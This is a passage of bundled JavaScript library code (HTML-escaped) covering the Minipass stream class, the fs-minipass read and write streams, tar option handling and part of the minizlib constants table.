       * then the flow of data will stop until there is another consumer or
       * {@link Minipass#resume} is explicitly called.
       */
      unpipe(dest) {
        const p = this[PIPES].find((p2) =&gt; p2.dest === dest);
        if (p) {
          if (this[PIPES].length === 1) {
            if (this[FLOWING] &amp;&amp; this[DATALISTENERS] === 0) {
              this[FLOWING] = false;
            }
            this[PIPES] = [];
          } else
            this[PIPES].splice(this[PIPES].indexOf(p), 1);
          p.unpipe();
        }
      }
      /**
       * Alias for {@link Minipass#on}
       */
      addListener(ev, handler) {
        return this.on(ev, handler);
      }
      /**
       * Mostly identical to `EventEmitter.on`, with the following
       * behavior differences to prevent data loss and unnecessary hangs:
       *
       * - Adding a &#039;data&#039; event handler will trigger the flow of data
       *
       * - Adding a &#039;readable&#039; event handler when there is data waiting to be read
       *   will cause &#039;readable&#039; to be emitted immediately.
       *
       * - Adding an &#039;endish&#039; event handler (&#039;end&#039;, &#039;finish&#039;, etc.) which has
       *   already passed will cause the event to be emitted immediately and all
       *   handlers removed.
       *
       * - Adding an &#039;error&#039; event handler after an error has been emitted will
       *   cause the event to be re-emitted immediately with the error previously
       *   raised.
       */
      on(ev, handler) {
        const ret = super.on(ev, handler);
        if (ev === &quot;data&quot;) {
          this[DISCARDED] = false;
          this[DATALISTENERS]++;
          if (!this[PIPES].length &amp;&amp; !this[FLOWING]) {
            this[RESUME]();
          }
        } else if (ev === &quot;readable&quot; &amp;&amp; this[BUFFERLENGTH] !== 0) {
          super.emit(&quot;readable&quot;);
        } else if (isEndish(ev) &amp;&amp; this[EMITTED_END]) {
          super.emit(ev);
          this.removeAllListeners(ev);
        } else if (ev === &quot;error&quot; &amp;&amp; this[EMITTED_ERROR]) {
          const h = handler;
          if (this[ASYNC])
            defer(() =&gt; h.call(this, this[EMITTED_ERROR]));
          else
            h.call(this, this[EMITTED_ERROR]);
        }
        return ret;
      }
      /**
       * Alias for {@link Minipass#off}
       */
      removeListener(ev, handler) {
        return this.off(ev, handler);
      }
      /**
       * Mostly identical to `EventEmitter.off`
       *
       * If a &#039;data&#039; event handler is removed, and it was the last consumer
       * (ie, there are no pipe destinations or other &#039;data&#039; event listeners),
       * then the flow of data will stop until there is another consumer or
       * {@link Minipass#resume} is explicitly called.
       */
      off(ev, handler) {
        const ret = super.off(ev, handler);
        if (ev === &quot;data&quot;) {
          this[DATALISTENERS] = this.listeners(&quot;data&quot;).length;
          if (this[DATALISTENERS] === 0 &amp;&amp; !this[DISCARDED] &amp;&amp; !this[PIPES].length) {
            this[FLOWING] = false;
          }
        }
        return ret;
      }
      /**
       * Mostly identical to `EventEmitter.removeAllListeners`
       *
       * If all &#039;data&#039; event handlers are removed, and they were the last consumer
       * (ie, there are no pipe destinations), then the flow of data will stop
       * until there is another consumer or {@link Minipass#resume} is explicitly
       * called.
       */
      removeAllListeners(ev) {
        const ret = super.removeAllListeners(ev);
        if (ev === &quot;data&quot; || ev === void 0) {
          this[DATALISTENERS] = 0;
          if (!this[DISCARDED] &amp;&amp; !this[PIPES].length) {
            this[FLOWING] = false;
          }
        }
        return ret;
      }
      /**
       * true if the &#039;end&#039; event has been emitted
       */
      get emittedEnd() {
        return this[EMITTED_END];
      }
      [MAYBE_EMIT_END]() {
        if (!this[EMITTING_END] &amp;&amp; !this[EMITTED_END] &amp;&amp; !this[DESTROYED] &amp;&amp; this[BUFFER].length === 0 &amp;&amp; this[EOF]) {
          this[EMITTING_END] = true;
          this.emit(&quot;end&quot;);
          this.emit(&quot;prefinish&quot;);
          this.emit(&quot;finish&quot;);
          if (this[CLOSED])
            this.emit(&quot;close&quot;);
          this[EMITTING_END] = false;
        }
      }
      /**
       * Mostly identical to `EventEmitter.emit`, with the following
       * behavior differences to prevent data loss and unnecessary hangs:
       *
       * If the stream has been destroyed, and the event is something other
       * than &#039;close&#039; or &#039;error&#039;, then `false` is returned and no handlers
       * are called.
       *
       * If the event is &#039;end&#039;, and has already been emitted, then the event
       * is ignored. If the stream is in a paused or non-flowing state, then
       * the event will be deferred until data flow resumes. If the stream is
       * async, then handlers will be called on the next tick rather than
       * immediately.
       *
       * If the event is &#039;close&#039;, and &#039;end&#039; has not yet been emitted, then
       * the event will be deferred until after &#039;end&#039; is emitted.
       *
       * If the event is &#039;error&#039;, and an AbortSignal was provided for the stream,
       * and there are no listeners, then the event is ignored, matching the
       * behavior of node core streams in the presense of an AbortSignal.
       *
       * If the event is &#039;finish&#039; or &#039;prefinish&#039;, then all listeners will be
       * removed after emitting the event, to prevent double-firing.
       */
      emit(ev, ...args) {
        const data = args[0];
        if (ev !== &quot;error&quot; &amp;&amp; ev !== &quot;close&quot; &amp;&amp; ev !== DESTROYED &amp;&amp; this[DESTROYED]) {
          return false;
        } else if (ev === &quot;data&quot;) {
          return !this[OBJECTMODE] &amp;&amp; !data ? false : this[ASYNC] ? (defer(() =&gt; this[EMITDATA](data)), true) : this[EMITDATA](data);
        } else if (ev === &quot;end&quot;) {
          return this[EMITEND]();
        } else if (ev === &quot;close&quot;) {
          this[CLOSED] = true;
          if (!this[EMITTED_END] &amp;&amp; !this[DESTROYED])
            return false;
          const ret2 = super.emit(&quot;close&quot;);
          this.removeAllListeners(&quot;close&quot;);
          return ret2;
        } else if (ev === &quot;error&quot;) {
          this[EMITTED_ERROR] = data;
          super.emit(ERROR, data);
          const ret2 = !this[SIGNAL] || this.listeners(&quot;error&quot;).length ? super.emit(&quot;error&quot;, data) : false;
          this[MAYBE_EMIT_END]();
          return ret2;
        } else if (ev === &quot;resume&quot;) {
          const ret2 = super.emit(&quot;resume&quot;);
          this[MAYBE_EMIT_END]();
          return ret2;
        } else if (ev === &quot;finish&quot; || ev === &quot;prefinish&quot;) {
          const ret2 = super.emit(ev);
          this.removeAllListeners(ev);
          return ret2;
        }
        const ret = super.emit(ev, ...args);
        this[MAYBE_EMIT_END]();
        return ret;
      }
      [EMITDATA](data) {
        for (const p of this[PIPES]) {
          if (p.dest.write(data) === false)
            this.pause();
        }
        const ret = this[DISCARDED] ? false : super.emit(&quot;data&quot;, data);
        this[MAYBE_EMIT_END]();
        return ret;
      }
      [EMITEND]() {
        if (this[EMITTED_END])
          return false;
        this[EMITTED_END] = true;
        this.readable = false;
        return this[ASYNC] ? (defer(() =&gt; this[EMITEND2]()), true) : this[EMITEND2]();
      }
      [EMITEND2]() {
        if (this[DECODER]) {
          const data = this[DECODER].end();
          if (data) {
            for (const p of this[PIPES]) {
              p.dest.write(data);
            }
            if (!this[DISCARDED])
              super.emit(&quot;data&quot;, data);
          }
        }
        for (const p of this[PIPES]) {
          p.end();
        }
        const ret = super.emit(&quot;end&quot;);
        this.removeAllListeners(&quot;end&quot;);
        return ret;
      }
      /**
       * Return a Promise that resolves to an array of all emitted data once
       * the stream ends.
       */
      async collect() {
        const buf = Object.assign([], {
          dataLength: 0
        });
        if (!this[OBJECTMODE])
          buf.dataLength = 0;
        const p = this.promise();
        this.on(&quot;data&quot;, (c) =&gt; {
          buf.push(c);
          if (!this[OBJECTMODE])
            buf.dataLength += c.length;
        });
        await p;
        return buf;
      }
      /**
       * Return a Promise that resolves to the concatenation of all emitted data
       * once the stream ends.
       *
       * Not allowed on objectMode streams.
       */
      async concat() {
        if (this[OBJECTMODE]) {
          throw new Error(&quot;cannot concat in objectMode&quot;);
        }
        const buf = await this.collect();
        return this[ENCODING] ? buf.join(&quot;&quot;) : Buffer.concat(buf, buf.dataLength);
      }
      /**
       * Return a void Promise that resolves once the stream ends.
       */
      async promise() {
        return new Promise((resolve, reject) =&gt; {
          this.on(DESTROYED, () =&gt; reject(new Error(&quot;stream destroyed&quot;)));
          this.on(&quot;error&quot;, (er) =&gt; reject(er));
          this.on(&quot;end&quot;, () =&gt; resolve());
        });
      }
      /**
       * Asynchronous `for await of` iteration.
       *
       * This will continue emitting all chunks until the stream terminates.
       */
      [Symbol.asyncIterator]() {
        this[DISCARDED] = false;
        let stopped = false;
        const stop = async () =&gt; {
          this.pause();
          stopped = true;
          return { value: void 0, done: true };
        };
        const next = () =&gt; {
          if (stopped)
            return stop();
          const res = this.read();
          if (res !== null)
            return Promise.resolve({ done: false, value: res });
          if (this[EOF])
            return stop();
          let resolve;
          let reject;
          const onerr = (er) =&gt; {
            this.off(&quot;data&quot;, ondata);
            this.off(&quot;end&quot;, onend);
            this.off(DESTROYED, ondestroy);
            stop();
            reject(er);
          };
          const ondata = (value) =&gt; {
            this.off(&quot;error&quot;, onerr);
            this.off(&quot;end&quot;, onend);
            this.off(DESTROYED, ondestroy);
            this.pause();
            resolve({ value, done: !!this[EOF] });
          };
          const onend = () =&gt; {
            this.off(&quot;error&quot;, onerr);
            this.off(&quot;data&quot;, ondata);
            this.off(DESTROYED, ondestroy);
            stop();
            resolve({ done: true, value: void 0 });
          };
          const ondestroy = () =&gt; onerr(new Error(&quot;stream destroyed&quot;));
          return new Promise((res2, rej) =&gt; {
            reject = rej;
            resolve = res2;
            this.once(DESTROYED, ondestroy);
            this.once(&quot;error&quot;, onerr);
            this.once(&quot;end&quot;, onend);
            this.once(&quot;data&quot;, ondata);
          });
        };
        return {
          next,
          throw: stop,
          return: stop,
          [Symbol.asyncIterator]() {
            return this;
          },
          [Symbol.asyncDispose]: async () =&gt; {
          }
        };
      }
      /**
       * Synchronous `for of` iteration.
       *
       * The iteration will terminate when the internal buffer runs out, even
       * if the stream has not yet terminated.
       */
      [Symbol.iterator]() {
        this[DISCARDED] = false;
        let stopped = false;
        const stop = () =&gt; {
          this.pause();
          this.off(ERROR, stop);
          this.off(DESTROYED, stop);
          this.off(&quot;end&quot;, stop);
          stopped = true;
          return { done: true, value: void 0 };
        };
        const next = () =&gt; {
          if (stopped)
            return stop();
          const value = this.read();
          return value === null ? stop() : { done: false, value };
        };
        this.once(&quot;end&quot;, stop);
        this.once(ERROR, stop);
        this.once(DESTROYED, stop);
        return {
          next,
          throw: stop,
          return: stop,
          [Symbol.iterator]() {
            return this;
          },
          [Symbol.dispose]: () =&gt; {
          }
        };
      }
      /**
       * Destroy a stream, preventing it from being used for any further purpose.
       *
       * If the stream has a `close()` method, then it will be called on
       * destruction.
       *
       * After destruction, any attempt to write data, read data, or emit most
       * events will be ignored.
       *
       * If an error argument is provided, then it will be emitted in an
       * &#039;error&#039; event.
       */
      destroy(er) {
        if (this[DESTROYED]) {
          if (er)
            this.emit(&quot;error&quot;, er);
          else
            this.emit(DESTROYED);
          return this;
        }
        this[DESTROYED] = true;
        this[DISCARDED] = true;
        this[BUFFER].length = 0;
        this[BUFFERLENGTH] = 0;
        const wc = this;
        if (typeof wc.close === &quot;function&quot; &amp;&amp; !this[CLOSED])
          wc.close();
        if (er)
          this.emit(&quot;error&quot;, er);
        else
          this.emit(DESTROYED);
        return this;
      }
      /**
       * Alias for {@link isStream}
       *
       * Former export location, maintained for backwards compatibility.
       *
       * @deprecated
       */
      static get isStream() {
        return isStream;
      }
    };
  }
});

// node_modules/@isaacs/fs-minipass/dist/esm/index.js
var import_events2, import_fs2, writev, _autoClose, _close, _ended, _fd, _finished, _flags, _flush, _handleChunk, _makeBuf, _mode, _needDrain, _onerror, _onopen, _onread, _onwrite, _open, _path, _pos, _queue, _read, _readSize, _reading, _remain, _size, _write, _writing, _defaultFlag, _errored, ReadStream, ReadStreamSync, WriteStream, WriteStreamSync;
var init_esm2 = __esm({
  &quot;node_modules/@isaacs/fs-minipass/dist/esm/index.js&quot;() {
    import_events2 = __toESM(require(&quot;events&quot;), 1);
    import_fs2 = __toESM(require(&quot;fs&quot;), 1);
    init_esm();
    writev = import_fs2.default.writev;
    _autoClose = /* @__PURE__ */ Symbol(&quot;_autoClose&quot;);
    _close = /* @__PURE__ */ Symbol(&quot;_close&quot;);
    _ended = /* @__PURE__ */ Symbol(&quot;_ended&quot;);
    _fd = /* @__PURE__ */ Symbol(&quot;_fd&quot;);
    _finished = /* @__PURE__ */ Symbol(&quot;_finished&quot;);
    _flags = /* @__PURE__ */ Symbol(&quot;_flags&quot;);
    _flush = /* @__PURE__ */ Symbol(&quot;_flush&quot;);
    _handleChunk = /* @__PURE__ */ Symbol(&quot;_handleChunk&quot;);
    _makeBuf = /* @__PURE__ */ Symbol(&quot;_makeBuf&quot;);
    _mode = /* @__PURE__ */ Symbol(&quot;_mode&quot;);
    _needDrain = /* @__PURE__ */ Symbol(&quot;_needDrain&quot;);
    _onerror = /* @__PURE__ */ Symbol(&quot;_onerror&quot;);
    _onopen = /* @__PURE__ */ Symbol(&quot;_onopen&quot;);
    _onread = /* @__PURE__ */ Symbol(&quot;_onread&quot;);
    _onwrite = /* @__PURE__ */ Symbol(&quot;_onwrite&quot;);
    _open = /* @__PURE__ */ Symbol(&quot;_open&quot;);
    _path = /* @__PURE__ */ Symbol(&quot;_path&quot;);
    _pos = /* @__PURE__ */ Symbol(&quot;_pos&quot;);
    _queue = /* @__PURE__ */ Symbol(&quot;_queue&quot;);
    _read = /* @__PURE__ */ Symbol(&quot;_read&quot;);
    _readSize = /* @__PURE__ */ Symbol(&quot;_readSize&quot;);
    _reading = /* @__PURE__ */ Symbol(&quot;_reading&quot;);
    _remain = /* @__PURE__ */ Symbol(&quot;_remain&quot;);
    _size = /* @__PURE__ */ Symbol(&quot;_size&quot;);
    _write = /* @__PURE__ */ Symbol(&quot;_write&quot;);
    _writing = /* @__PURE__ */ Symbol(&quot;_writing&quot;);
    _defaultFlag = /* @__PURE__ */ Symbol(&quot;_defaultFlag&quot;);
    _errored = /* @__PURE__ */ Symbol(&quot;_errored&quot;);
    ReadStream = class extends Minipass {
      [_errored] = false;
      [_fd];
      [_path];
      [_readSize];
      [_reading] = false;
      [_size];
      [_remain];
      [_autoClose];
      constructor(path16, opt) {
        opt = opt || {};
        super(opt);
        this.readable = true;
        this.writable = false;
        if (typeof path16 !== &quot;string&quot;) {
          throw new TypeError(&quot;path must be a string&quot;);
        }
        this[_errored] = false;
        this[_fd] = typeof opt.fd === &quot;number&quot; ? opt.fd : void 0;
        this[_path] = path16;
        this[_readSize] = opt.readSize || 16 * 1024 * 1024;
        this[_reading] = false;
        this[_size] = typeof opt.size === &quot;number&quot; ? opt.size : Infinity;
        this[_remain] = this[_size];
        this[_autoClose] = typeof opt.autoClose === &quot;boolean&quot; ? opt.autoClose : true;
        if (typeof this[_fd] === &quot;number&quot;) {
          this[_read]();
        } else {
          this[_open]();
        }
      }
      get fd() {
        return this[_fd];
      }
      get path() {
        return this[_path];
      }
      //@ts-ignore
      write() {
        throw new TypeError(&quot;this is a readable stream&quot;);
      }
      //@ts-ignore
      end() {
        throw new TypeError(&quot;this is a readable stream&quot;);
      }
      [_open]() {
        import_fs2.default.open(this[_path], &quot;r&quot;, (er, fd) =&gt; this[_onopen](er, fd));
      }
      [_onopen](er, fd) {
        if (er) {
          this[_onerror](er);
        } else {
          this[_fd] = fd;
          this.emit(&quot;open&quot;, fd);
          this[_read]();
        }
      }
      [_makeBuf]() {
        return Buffer.allocUnsafe(Math.min(this[_readSize], this[_remain]));
      }
      [_read]() {
        if (!this[_reading]) {
          this[_reading] = true;
          const buf = this[_makeBuf]();
          if (buf.length === 0) {
            return process.nextTick(() =&gt; this[_onread](null, 0, buf));
          }
          import_fs2.default.read(this[_fd], buf, 0, buf.length, null, (er, br, b) =&gt; this[_onread](er, br, b));
        }
      }
      [_onread](er, br, buf) {
        this[_reading] = false;
        if (er) {
          this[_onerror](er);
        } else if (this[_handleChunk](br, buf)) {
          this[_read]();
        }
      }
      [_close]() {
        if (this[_autoClose] &amp;&amp; typeof this[_fd] === &quot;number&quot;) {
          const fd = this[_fd];
          this[_fd] = void 0;
          import_fs2.default.close(fd, (er) =&gt; er ? this.emit(&quot;error&quot;, er) : this.emit(&quot;close&quot;));
        }
      }
      [_onerror](er) {
        this[_reading] = true;
        this[_close]();
        this.emit(&quot;error&quot;, er);
      }
      [_handleChunk](br, buf) {
        let ret = false;
        this[_remain] -= br;
        if (br &gt; 0) {
          ret = super.write(br &lt; buf.length ? buf.subarray(0, br) : buf);
        }
        if (br === 0 || this[_remain] &lt;= 0) {
          ret = false;
          this[_close]();
          super.end();
        }
        return ret;
      }
      emit(ev, ...args) {
        switch (ev) {
          case &quot;prefinish&quot;:
          case &quot;finish&quot;:
            return false;
          case &quot;drain&quot;:
            if (typeof this[_fd] === &quot;number&quot;) {
              this[_read]();
            }
            return false;
          case &quot;error&quot;:
            if (this[_errored]) {
              return false;
            }
            this[_errored] = true;
            return super.emit(ev, ...args);
          default:
            return super.emit(ev, ...args);
        }
      }
    };
    ReadStreamSync = class extends ReadStream {
      [_open]() {
        let threw = true;
        try {
          this[_onopen](null, import_fs2.default.openSync(this[_path], &quot;r&quot;));
          threw = false;
        } finally {
          if (threw) {
            this[_close]();
          }
        }
      }
      [_read]() {
        let threw = true;
        try {
          if (!this[_reading]) {
            this[_reading] = true;
            do {
              const buf = this[_makeBuf]();
              const br = buf.length === 0 ? 0 : import_fs2.default.readSync(this[_fd], buf, 0, buf.length, null);
              if (!this[_handleChunk](br, buf)) {
                break;
              }
            } while (true);
            this[_reading] = false;
          }
          threw = false;
        } finally {
          if (threw) {
            this[_close]();
          }
        }
      }
      [_close]() {
        if (this[_autoClose] &amp;&amp; typeof this[_fd] === &quot;number&quot;) {
          const fd = this[_fd];
          this[_fd] = void 0;
          import_fs2.default.closeSync(fd);
          this.emit(&quot;close&quot;);
        }
      }
    };
    WriteStream = class extends import_events2.default {
      readable = false;
      writable = true;
      [_errored] = false;
      [_writing] = false;
      [_ended] = false;
      [_queue] = [];
      [_needDrain] = false;
      [_path];
      [_mode];
      [_autoClose];
      [_fd];
      [_defaultFlag];
      [_flags];
      [_finished] = false;
      [_pos];
      constructor(path16, opt) {
        opt = opt || {};
        super(opt);
        this[_path] = path16;
        this[_fd] = typeof opt.fd === &quot;number&quot; ? opt.fd : void 0;
        this[_mode] = opt.mode === void 0 ? 438 : opt.mode;
        this[_pos] = typeof opt.start === &quot;number&quot; ? opt.start : void 0;
        this[_autoClose] = typeof opt.autoClose === &quot;boolean&quot; ? opt.autoClose : true;
        const defaultFlag = this[_pos] !== void 0 ? &quot;r+&quot; : &quot;w&quot;;
        this[_defaultFlag] = opt.flags === void 0;
        this[_flags] = opt.flags === void 0 ? defaultFlag : opt.flags;
        if (this[_fd] === void 0) {
          this[_open]();
        }
      }
      emit(ev, ...args) {
        if (ev === &quot;error&quot;) {
          if (this[_errored]) {
            return false;
          }
          this[_errored] = true;
        }
        return super.emit(ev, ...args);
      }
      get fd() {
        return this[_fd];
      }
      get path() {
        return this[_path];
      }
      [_onerror](er) {
        this[_close]();
        this[_writing] = true;
        this.emit(&quot;error&quot;, er);
      }
      [_open]() {
        import_fs2.default.open(this[_path], this[_flags], this[_mode], (er, fd) =&gt; this[_onopen](er, fd));
      }
      [_onopen](er, fd) {
        if (this[_defaultFlag] &amp;&amp; this[_flags] === &quot;r+&quot; &amp;&amp; er &amp;&amp; er.code === &quot;ENOENT&quot;) {
          this[_flags] = &quot;w&quot;;
          this[_open]();
        } else if (er) {
          this[_onerror](er);
        } else {
          this[_fd] = fd;
          this.emit(&quot;open&quot;, fd);
          if (!this[_writing]) {
            this[_flush]();
          }
        }
      }
      end(buf, enc) {
        if (buf) {
          this.write(buf, enc);
        }
        this[_ended] = true;
        if (!this[_writing] &amp;&amp; !this[_queue].length &amp;&amp; typeof this[_fd] === &quot;number&quot;) {
          this[_onwrite](null, 0);
        }
        return this;
      }
      write(buf, enc) {
        if (typeof buf === &quot;string&quot;) {
          buf = Buffer.from(buf, enc);
        }
        if (this[_ended]) {
          this.emit(&quot;error&quot;, new Error(&quot;write() after end()&quot;));
          return false;
        }
        if (this[_fd] === void 0 || this[_writing] || this[_queue].length) {
          this[_queue].push(buf);
          this[_needDrain] = true;
          return false;
        }
        this[_writing] = true;
        this[_write](buf);
        return true;
      }
      [_write](buf) {
        import_fs2.default.write(this[_fd], buf, 0, buf.length, this[_pos], (er, bw) =&gt; this[_onwrite](er, bw));
      }
      [_onwrite](er, bw) {
        if (er) {
          this[_onerror](er);
        } else {
          if (this[_pos] !== void 0 &amp;&amp; typeof bw === &quot;number&quot;) {
            this[_pos] += bw;
          }
          if (this[_queue].length) {
            this[_flush]();
          } else {
            this[_writing] = false;
            if (this[_ended] &amp;&amp; !this[_finished]) {
              this[_finished] = true;
              this[_close]();
              this.emit(&quot;finish&quot;);
            } else if (this[_needDrain]) {
              this[_needDrain] = false;
              this.emit(&quot;drain&quot;);
            }
          }
        }
      }
      [_flush]() {
        if (this[_queue].length === 0) {
          if (this[_ended]) {
            this[_onwrite](null, 0);
          }
        } else if (this[_queue].length === 1) {
          this[_write](this[_queue].pop());
        } else {
          const iovec = this[_queue];
          this[_queue] = [];
          writev(this[_fd], iovec, this[_pos], (er, bw) =&gt; this[_onwrite](er, bw));
        }
      }
      [_close]() {
        if (this[_autoClose] &amp;&amp; typeof this[_fd] === &quot;number&quot;) {
          const fd = this[_fd];
          this[_fd] = void 0;
          import_fs2.default.close(fd, (er) =&gt; er ? this.emit(&quot;error&quot;, er) : this.emit(&quot;close&quot;));
        }
      }
    };
    WriteStreamSync = class extends WriteStream {
      [_open]() {
        let fd;
        if (this[_defaultFlag] &amp;&amp; this[_flags] === &quot;r+&quot;) {
          try {
            fd = import_fs2.default.openSync(this[_path], this[_flags], this[_mode]);
          } catch (er) {
            if (er?.code === &quot;ENOENT&quot;) {
              this[_flags] = &quot;w&quot;;
              return this[_open]();
            } else {
              throw er;
            }
          }
        } else {
          fd = import_fs2.default.openSync(this[_path], this[_flags], this[_mode]);
        }
        this[_onopen](null, fd);
      }
      [_close]() {
        if (this[_autoClose] &amp;&amp; typeof this[_fd] === &quot;number&quot;) {
          const fd = this[_fd];
          this[_fd] = void 0;
          import_fs2.default.closeSync(fd);
          this.emit(&quot;close&quot;);
        }
      }
      [_write](buf) {
        let threw = true;
        try {
          this[_onwrite](null, import_fs2.default.writeSync(this[_fd], buf, 0, buf.length, this[_pos]));
          threw = false;
        } finally {
          if (threw) {
            try {
              this[_close]();
            } catch {
            }
          }
        }
      }
    };
  }
});

// node_modules/tar/dist/esm/options.js
var argmap, isSyncFile, isAsyncFile, isSyncNoFile, isAsyncNoFile, dealiasKey, dealias;
var init_options = __esm({
  &quot;node_modules/tar/dist/esm/options.js&quot;() {
    argmap = /* @__PURE__ */ new Map([
      [&quot;C&quot;, &quot;cwd&quot;],
      [&quot;f&quot;, &quot;file&quot;],
      [&quot;z&quot;, &quot;gzip&quot;],
      [&quot;P&quot;, &quot;preservePaths&quot;],
      [&quot;U&quot;, &quot;unlink&quot;],
      [&quot;strip-components&quot;, &quot;strip&quot;],
      [&quot;stripComponents&quot;, &quot;strip&quot;],
      [&quot;keep-newer&quot;, &quot;newer&quot;],
      [&quot;keepNewer&quot;, &quot;newer&quot;],
      [&quot;keep-newer-files&quot;, &quot;newer&quot;],
      [&quot;keepNewerFiles&quot;, &quot;newer&quot;],
      [&quot;k&quot;, &quot;keep&quot;],
      [&quot;keep-existing&quot;, &quot;keep&quot;],
      [&quot;keepExisting&quot;, &quot;keep&quot;],
      [&quot;m&quot;, &quot;noMtime&quot;],
      [&quot;no-mtime&quot;, &quot;noMtime&quot;],
      [&quot;p&quot;, &quot;preserveOwner&quot;],
      [&quot;L&quot;, &quot;follow&quot;],
      [&quot;h&quot;, &quot;follow&quot;],
      [&quot;onentry&quot;, &quot;onReadEntry&quot;]
    ]);
    isSyncFile = (o) =&gt; !!o.sync &amp;&amp; !!o.file;
    isAsyncFile = (o) =&gt; !o.sync &amp;&amp; !!o.file;
    isSyncNoFile = (o) =&gt; !!o.sync &amp;&amp; !o.file;
    isAsyncNoFile = (o) =&gt; !o.sync &amp;&amp; !o.file;
    dealiasKey = (k) =&gt; {
      const d = argmap.get(k);
      if (d)
        return d;
      return k;
    };
    dealias = (opt = {}) =&gt; {
      if (!opt)
        return {};
      const result = {};
      for (const [key, v] of Object.entries(opt)) {
        const k = dealiasKey(key);
        result[k] = v;
      }
      if (result.chmod === void 0 &amp;&amp; result.noChmod === false) {
        result.chmod = true;
      }
      delete result.noChmod;
      return result;
    };
  }
});

// node_modules/tar/dist/esm/make-command.js
var makeCommand;
var init_make_command = __esm({
  &quot;node_modules/tar/dist/esm/make-command.js&quot;() {
    init_options();
    makeCommand = (syncFile, asyncFile, syncNoFile, asyncNoFile, validate) =&gt; {
      return Object.assign((opt_ = [], entries, cb) =&gt; {
        if (Array.isArray(opt_)) {
          entries = opt_;
          opt_ = {};
        }
        if (typeof entries === &quot;function&quot;) {
          cb = entries;
          entries = void 0;
        }
        entries = !entries ? [] : Array.from(entries);
        const opt = dealias(opt_);
        validate?.(opt, entries);
        if (isSyncFile(opt)) {
          if (typeof cb === &quot;function&quot;) {
            throw new TypeError(&quot;callback not supported for sync tar functions&quot;);
          }
          return syncFile(opt, entries);
        } else if (isAsyncFile(opt)) {
          const p = asyncFile(opt, entries);
          return cb ? p.then(() =&gt; cb(), cb) : p;
        } else if (isSyncNoFile(opt)) {
          if (typeof cb === &quot;function&quot;) {
            throw new TypeError(&quot;callback not supported for sync tar functions&quot;);
          }
          return syncNoFile(opt, entries);
        } else if (isAsyncNoFile(opt)) {
          if (typeof cb === &quot;function&quot;) {
            throw new TypeError(&quot;callback only supported with file option&quot;);
          }
          return asyncNoFile(opt, entries);
        }
        throw new Error(&quot;impossible options??&quot;);
      }, {
        syncFile,
        asyncFile,
        syncNoFile,
        asyncNoFile,
        validate
      });
    };
  }
});

// node_modules/minizlib/dist/esm/constants.js
var import_zlib, realZlibConstants, constants;
var init_constants = __esm({
  &quot;node_modules/minizlib/dist/esm/constants.js&quot;() {
    import_zlib = __toESM(require(&quot;zlib&quot;), 1);
    realZlibConstants = import_zlib.default.constants || { ZLIB_VERNUM: 4736 };
    constants = Object.freeze(Object.assign(/* @__PURE__ */ Object.create(null), {
      Z_NO_FLUSH: 0,
      Z_PARTIAL_FLUSH: 1,
      Z_SYNC_FLUSH: 2,
      Z_FULL_FLUSH: 3,
      Z_FINISH: 4,
      Z_BLOCK: 5,
      Z_OK: 0,
      Z_STREAM_END: 1,
      Z_NEED_DICT: 2,
      Z_ERRNO: -1,
      Z_STREAM_ERROR: -2,
      Z_DATA_ERROR: -3,
      Z_MEM_ERROR: -4,
      Z_BUF_ERROR: -5,
      Z_VERSION_ERROR: -6,
      Z_NO_COMPRESSION: 0,
      Z_BEST_SPEED: 1,
      Z_BEST_COMPRESSION: 9,
      Z_DEFAULT_COMPRESSION: -1,
      Z_FILTERED: 1,
      Z_HUFFMAN_ONLY: 2,
      Z_RLE: 3,
      Z_FIXED: 4,
      Z_DEFAULT_STRATEGY: 0,
      DEFLATE: 1,
      INFLATE: 2,
      GZIP: 3,
      GUNZIP: 4,
      DEFLATERAW: 5,
      INFLATERAW: 6,
      UNZIP: 7,
      BROTLI_DECODE: 8,
      BROTLI_ENCODE: 9,
      Z_MIN_WINDOWBITS: 8,
      Z_MAX_WINDOWBITS: 15,
      Z_DEFAULT_WINDOWBITS: 15,
      Z_MIN_CHUNK: 64,
      Z_MAX_CHUNK: Infinity,
      Z_DEFAULT_CHUNK: 16384,
      Z_MIN_MEMLEVEL: 1,
      Z_MAX_MEMLEVEL: 9,
      Z_DEFAULT_MEMLEVEL: 8,
      Z_MIN_LEVEL: -1,
      Z_MAX_LEVEL: 9,
      Z_DEFAULT_LEVEL: -1,
      BROTLI_OPERATION_PROCESS: 0,
      BROTLI_OPERATION_FLUSH: 1,
      BROTLI_OPERATION_FINISH: 2,
      BROTLI_OPERATION_EMIT_METADATA: 3,
      BROTLI_MODE_GENERIC: 0,
      BROTLI_MODE_TEXT: 1,
      BROTLI_MODE_FONT: 2,
      BROTLI_DEFAULT_MODE: 0,
      BROTLI_MIN_QUALITY: 0,
      BROTLI_MAX_QUALITY: 11,
      BROTLI_DEFAULT_QUALITY: 11,
      BROTLI_MIN_WINDOW_BITS: 10,
      BROTLI_MAX_WINDOW_BITS: 24,
      BROTLI_LARGE_MAX_WINDOW_BITS: 30,
      BROTLI_DEFAULT_WINDOW: 22,
      BROTLI_MIN_INPUT_BLOCK_BITS: 16,
      BROTLI_MAX_INPUT_BLOCK_BITS: 24,
      BROTLI_PARAM_MODE: 0,
      BROTLI_PARAM_QUALITY: 1,
      BROTLI_PARAM_LGWIN: 2,
      BROTLI_PARAM_LGBLOCK: 3,
      BROTLI_PARAM_DISABLE_LITERAL_CONTEXT_MODELING: 4,
      BROTLI_PARAM_SIZE_HINT: 5,
      BROTLI_PARAM_LARGE_WINDOW: 6,
      BROTLI_PARAM_NPOSTFIX: 7,
      BROTLI_PARAM_NDIRECT: 8,
      BROTLI_DECODER_RESULT_ERROR: 0,
      BROTLI_DECODER_RESULT_SUCCESS: 1,
      BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT: 2,
      BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT: 3,
      BROTLI_DECODER_PARAM_DISABLE_RING_BUFFER_REALLOCATION: 0,
      BROTLI_DECODER_PARAM_LARGE_WINDOW: 1,
      BROTLI_DECODER_NO_ERROR: 0,
      BROTLI_DECODER_SUCCESS: 1,
      BROTLI_DECODER_NEEDS_MORE_INPUT: 2,
      BROTLI_DECODER_NEEDS_MORE_OUTPUT: 3,
      BROTLI_DECODER_ERROR_FORMAT_EXUBERANT_NIBBLE: -1,
      BROTLI_DECODER_ERROR_FORMAT_RESERVED: -2,
      BROTLI_DECODER_ERROR_FORMAT_EXUBERANT_META_NIBBLE: -3,
      BROTLI_DECODER_ERROR_FORMAT_SIMPLE_HUFFMAN_ALPHABET: -4,
      BROTLI_DECODER_ERROR_FORMAT_SIMPLE_HUFFMAN_SAME: -5,
      BROTLI_DECODER_ERROR_FORMAT_CL_SPACE: -6,
